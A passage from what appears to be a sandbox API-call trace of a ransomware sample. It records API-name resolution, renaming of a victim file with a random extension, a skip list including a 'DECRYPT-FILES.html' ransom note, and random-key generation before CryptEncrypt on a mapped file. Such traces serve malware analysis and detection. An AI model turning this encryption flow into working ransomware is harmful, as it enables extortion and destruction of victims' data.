lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0139.284] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0139.284] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0139.284] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0139.284] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0139.284] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0139.284] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0139.284] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0139.284] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0139.284] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0139.284] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0139.284] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0139.284] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0139.284] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0139.284] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0139.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0139.285] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0139.285] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0139.285] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0139.285] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0139.285] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0139.285] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0139.285] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0139.285] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0139.285] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0139.285] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0139.285] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0139.285] lstrlenA (lpString="COPYCONTEXT") returned 11 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0139.285] lstrlenA (lpString="COPYFILE2") returned 9 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0139.285] lstrlenA (lpString="COPYFILEA") returned 9 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0139.285] lstrlenA (lpString="COPYFILEEXA") returned 11 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0139.285] lstrlenA (lpString="COPYFILEEXW") returned 11 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0139.285] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0139.285] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0139.285] lstrlenA (lpString="COPYFILEW") returned 9 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0139.285] lstrlenA (lpString="COPYLZFILE") returned 10 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0139.285] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0139.285] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0139.285] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0139.286] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0139.286] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0139.286] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0139.286] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0139.286] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0139.286] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0139.286] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0139.286] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0139.286] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0139.286] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0139.286] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0139.286] lstrlenA (lpString="CREATEEVENTA") returned 12 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0139.286] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0139.286] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0139.286] lstrlenA (lpString="CREATEEVENTW") returned 12 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0139.286] lstrlenA (lpString="CREATEFIBER") returned 11 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0139.286] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0139.286] lstrlenA (lpString="CREATEFILE2") returned 11 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0139.286] lstrlenA (lpString="CREATEFILEA") returned 11 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0139.286] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0139.286] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0139.286] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0139.287] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0139.287] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0139.287] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0139.287] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0139.287] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0139.287] lstrlenA (lpString="CREATEFILEW") returned 11 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0139.287] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0139.287] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0139.287] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0139.287] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0139.287] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0139.287] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0139.287] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0139.287] lstrlenA (lpString="CREATEJOBSET") returned 12 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0139.287] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0139.287] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0139.287] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0139.287] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0139.287] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0139.287] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0139.287] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0139.287] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0139.287] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0139.288] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0139.288] lstrlenA (lpString="CREATEPIPE") returned 10 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0139.288] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0139.288] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0139.288] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0139.288] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0139.288] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0139.288] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0139.288] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0139.288] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0139.288] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0139.288] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0139.288] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0139.288] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0139.288] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0139.288] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0139.288] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0139.288] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0139.288] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0139.288] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0139.288] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0139.288] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0139.289] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0139.289] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0139.289] lstrlenA (lpString="CREATETHREAD") returned 12 [0139.289] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0139.289] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0139.289] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0139.289] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0139.289] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0139.289] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0139.289] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0139.289] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0139.289] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0139.289] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0139.289] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0139.289] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0139.289] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0139.289] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0139.289] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0139.289] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.oAozjd") returned 51 [0139.289] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.oAozjd" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.oaozjd"), dwFlags=0x0) returned 1 [0139.290] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.290] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.291] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.291] FindNextFileW (in: hFindFile=0x3b80f00, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0139.291] lstrcmpiW (lpString1="SetupResources.dll", lpString2="DECRYPT-FILES.html") returned 1 [0139.291] lstrcmpiW (lpString1="SetupResources.dll", lpString2="autorun.inf") returned 1 [0139.291] lstrcmpiW (lpString1="SetupResources.dll", lpString2="boot.ini") returned 1 [0139.291] lstrcmpiW (lpString1="SetupResources.dll", lpString2="desktop.ini") returned 1 [0139.291] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat") returned 1 [0139.291] lstrcmpiW (lpString1="SetupResources.dll", lpString2="iconcache.db") returned 1 [0139.291] lstrcmpiW (lpString1="SetupResources.dll", lpString2="bootsect.bak") returned 1 [0139.291] lstrcmpiW (lpString1="SetupResources.dll", lpString2="ntuser.dat.log") returned 1 [0139.291] lstrcmpiW (lpString1="SetupResources.dll", lpString2="thumbs.db") returned -1 [0139.291] lstrcmpiW (lpString1="SetupResources.dll", lpString2="Bootfont.bin") returned 1 [0139.291] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\") returned 27 [0139.291] lstrlenW (lpString="SetupResources.dll") returned 18 [0139.291] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\2052\\" | out: lpString1="C:\\588bce7c90097ed212\\2052\\") returned="C:\\588bce7c90097ed212\\2052\\" [0139.291] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\2052\\", lpString2="SetupResources.dll" | out: lpString1="C:\\588bce7c90097ed212\\2052\\SetupResources.dll") returned="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" [0139.291] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0139.291] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0139.292] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=14168) returned 1 [0139.292] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0139.292] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0139.520] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0139.520] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0139.520] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0139.520] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, 